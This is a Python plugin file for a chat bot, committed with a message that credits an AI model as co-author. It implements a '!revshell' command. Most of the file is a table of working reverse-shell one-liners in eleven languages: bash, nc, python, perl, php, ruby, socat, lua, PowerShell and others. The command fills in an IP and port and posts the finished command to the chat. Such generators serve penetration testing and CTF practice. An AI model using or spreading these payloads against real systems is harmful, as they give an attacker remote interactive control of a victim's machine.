All pure stdlib, zero external dependencies: - dns: raw UDP resolver with A/AAAA/MX/NS/TXT/CNAME/PTR/SOA - encode: base64, hex, URL, ROT13 encode/decode - hash: md5/sha1/sha256/sha512 generation + type identification - defang: IOC defanging/refanging for safe sharing - revshell: reverse shell one-liners for 11 languages - cidr: subnet calculator with IP membership check Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
112 lines
3.3 KiB
Python
112 lines
3.3 KiB
Python
"""Plugin: reverse shell one-liner generator."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import ipaddress
|
|
|
|
from derp.plugin import command
|
|
|
|
_SHELLS: dict[str, str] = {
|
|
"bash": (
|
|
"bash -i >& /dev/tcp/{ip}/{port} 0>&1"
|
|
),
|
|
"sh": (
|
|
"/bin/sh -i >& /dev/tcp/{ip}/{port} 0>&1"
|
|
),
|
|
"nc": (
|
|
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/f"
|
|
),
|
|
"nce": (
|
|
"nc -e /bin/sh {ip} {port}"
|
|
),
|
|
"python": (
|
|
"python3 -c 'import socket,subprocess,os;"
|
|
"s=socket.socket();s.connect((\"{ip}\",{port}));"
|
|
"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
|
|
"subprocess.call([\"/bin/sh\",\"-i\"])'"
|
|
),
|
|
"perl": (
|
|
"perl -e 'use Socket;"
|
|
"$i=\"{ip}\";$p={port};"
|
|
"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"
|
|
"connect(S,sockaddr_in($p,inet_aton($i)));"
|
|
"open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");"
|
|
"exec(\"/bin/sh -i\")'"
|
|
),
|
|
"php": (
|
|
"php -r '$s=fsockopen(\"{ip}\",{port});"
|
|
"exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
|
|
),
|
|
"ruby": (
|
|
"ruby -rsocket -e'"
|
|
"f=TCPSocket.open(\"{ip}\",{port}).to_i;"
|
|
"exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"
|
|
),
|
|
"socat": (
|
|
"socat TCP:{ip}:{port} EXEC:/bin/sh,pty,stderr,setsid,sigint,sane"
|
|
),
|
|
"lua": (
|
|
"lua -e \"require('socket');require('os');"
|
|
"t=socket.tcp();t:connect('{ip}','{port}');"
|
|
"os.execute('/bin/sh -i <&3 >&3 2>&3')\""
|
|
),
|
|
"ps": (
|
|
"powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('{ip}',{port});"
|
|
"$s=$c.GetStream();[byte[]]$b=0..65535|%{{{{0}}}};while(($i=$s.Read($b,0,"
|
|
"$b.Length))-ne 0){{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
|
|
"$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);"
|
|
"$s.Write($sb,0,$sb.Length)}}\""
|
|
),
|
|
}
|
|
|
|
|
|
@command("revshell", help="Reverse shell: !revshell <type> <ip> <port>")
|
|
async def cmd_revshell(bot, message):
|
|
"""Generate a reverse shell one-liner.
|
|
|
|
!revshell bash 10.0.0.1 4444
|
|
!revshell list
|
|
"""
|
|
parts = message.text.split()
|
|
if len(parts) < 2:
|
|
types = ", ".join(sorted(_SHELLS))
|
|
await bot.reply(message, f"Usage: !revshell <type> <ip> <port> | types: {types}")
|
|
return
|
|
|
|
shell_type = parts[1].lower()
|
|
|
|
if shell_type == "list":
|
|
await bot.reply(message, f"Types: {', '.join(sorted(_SHELLS))}")
|
|
return
|
|
|
|
if len(parts) < 4:
|
|
await bot.reply(message, "Usage: !revshell <type> <ip> <port>")
|
|
return
|
|
|
|
ip = parts[2]
|
|
port_str = parts[3]
|
|
|
|
# Validate IP
|
|
try:
|
|
ipaddress.ip_address(ip)
|
|
except ValueError:
|
|
await bot.reply(message, f"Invalid IP: {ip}")
|
|
return
|
|
|
|
# Validate port
|
|
try:
|
|
port = int(port_str)
|
|
if not 1 <= port <= 65535:
|
|
raise ValueError
|
|
except ValueError:
|
|
await bot.reply(message, f"Invalid port: {port_str}")
|
|
return
|
|
|
|
template = _SHELLS.get(shell_type)
|
|
if template is None:
|
|
types = ", ".join(sorted(_SHELLS))
|
|
await bot.reply(message, f"Unknown type: {shell_type} (valid: {types})")
|
|
return
|
|
|
|
await bot.reply(message, template.format(ip=ip, port=port))
|